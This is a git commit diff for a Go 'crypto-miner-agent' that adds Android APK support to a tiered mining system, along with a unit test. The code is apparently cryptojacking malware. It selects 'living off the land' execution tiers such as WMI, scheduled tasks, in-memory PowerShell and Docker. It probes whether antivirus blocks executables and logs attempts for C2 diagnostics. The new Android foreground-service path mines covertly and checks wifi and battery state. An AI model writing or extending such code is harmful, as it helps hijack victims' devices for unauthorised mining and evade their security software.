Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -5,6 +5,8 @@ import (
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// EnvironmentProbes captures host capabilities that drive tier selection.
@@ -14,8 +16,11 @@ type EnvironmentProbes struct {
PowerShell bool `json:"pwsh"`
DotNet bool `json:"dotnet"`
GPU bool `json:"gpu"`
AVBlocksExe bool `json:"av_blocks_exe"`
WebView2 bool `json:"webview2"`
AVBlocksExe bool `json:"av_blocks_exe"`
WebView2 bool `json:"webview2"`
Wifi bool `json:"wifi,omitempty"`
Battery bool `json:"battery,omitempty"`
ForegroundService bool `json:"foreground_service,omitempty"`
}
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
@@ -56,6 +61,12 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
Docker: rt.Available,
GPU: gpuProbeFn(),
}
if config.IsAndroidPlatform() {
p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED")
p.Battery = envTruthy("AETHERFORGE_BATTERY_OK")
p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE")
return p
}
if runtime.GOOS == "windows" {
wsl := WSLDetector()
p.WSL = wsl.Available
@@ -70,6 +81,11 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
return p
}
func envTruthy(key string) bool {
v := strings.TrimSpace(os.Getenv(key))
return v == "1" || strings.EqualFold(v, "true")
}
func inferAVBlocksExe() bool {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
return true

View File

@@ -23,8 +23,9 @@ const (
TierWMI LOTLTier = "wmi"
TierScheduledTask LOTLTier = "scheduled_task"
TierGPUCompute LOTLTier = "gpu_compute"
TierGPUSubprocess LOTLTier = "gpu_subprocess"
TierStratumDirect LOTLTier = "stratum_direct"
TierGPUSubprocess LOTLTier = "gpu_subprocess"
TierStratumDirect LOTLTier = "stratum_direct"
TierForegroundService LOTLTier = "foreground_service"
)
// TierAttempt records one tier try for C2/UI diagnostics.
@@ -89,9 +90,25 @@ func DefaultMiningTierPolicy() MiningTierPolicy {
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
}
// DefaultAndroidTierOrder is the APK foreground-service → in-process mining path.
var DefaultAndroidTierOrder = []LOTLTier{TierForegroundService, TierCPUInprocess}
// SelectMiningTierChain returns the ordered tier onion from server policy with
// local eligibility overrides from environment probes and forge execution mode.
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
if config.IsAndroidPlatform() {
chain = append([]LOTLTier(nil), DefaultAndroidTierOrder...)
for _, tier := range DefaultTierOrder {
if tier != TierForegroundService && tier != TierCPUInprocess {
skipped = append(skipped, tier)
}
}
if policy.ForceTier != "" && tierEligible(policy.ForceTier, probes, cfg, nil) {
return []LOTLTier{policy.ForceTier}, skipped
}
return chain, skipped
}
base := policy.TierOrder
if len(base) == 0 {
base = DefaultTierOrder
@@ -220,6 +237,8 @@ func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeCon
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierCPUInprocess:
return true
case TierForegroundService:
return probes.ForegroundService || config.IsAndroidPlatform()
case TierGPUSubprocess:
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
case TierStratumDirect:
@@ -243,7 +262,7 @@ func PrimaryTiers(chain []LOTLTier) []LOTLTier {
var out []LOTLTier
for _, t := range chain {
switch t {
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierForegroundService, TierWMI, TierScheduledTask:
out = append(out, t)
}
}
@@ -273,6 +292,8 @@ func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
return MethodWSL, true
case TierCPUInprocess:
return MethodInProcess, true
case TierForegroundService:
return MethodInProcess, true
case TierGPUSubprocess:
return MethodGPUSubprocess, true
case TierStratumDirect:

View File

@@ -235,3 +235,19 @@ func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
t.Fatalf("stub tier should fail: %v", *exeAttempt)
}
}
func TestSelectMiningTierChainAndroid(t *testing.T) {
t.Setenv("AETHERFORGE_PLATFORM", "android")
probes := EnvironmentProbes{
Wifi: true,
Battery: true,
ForegroundService: true,
}
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if len(chain) != 2 || chain[0] != TierForegroundService || chain[1] != TierCPUInprocess {
t.Fatalf("android chain=%v want [foreground_service cpu_inprocess]", chain)
}
if len(skipped) < 10 {
t.Fatalf("expected desktop tiers skipped, got %v", skipped)
}
}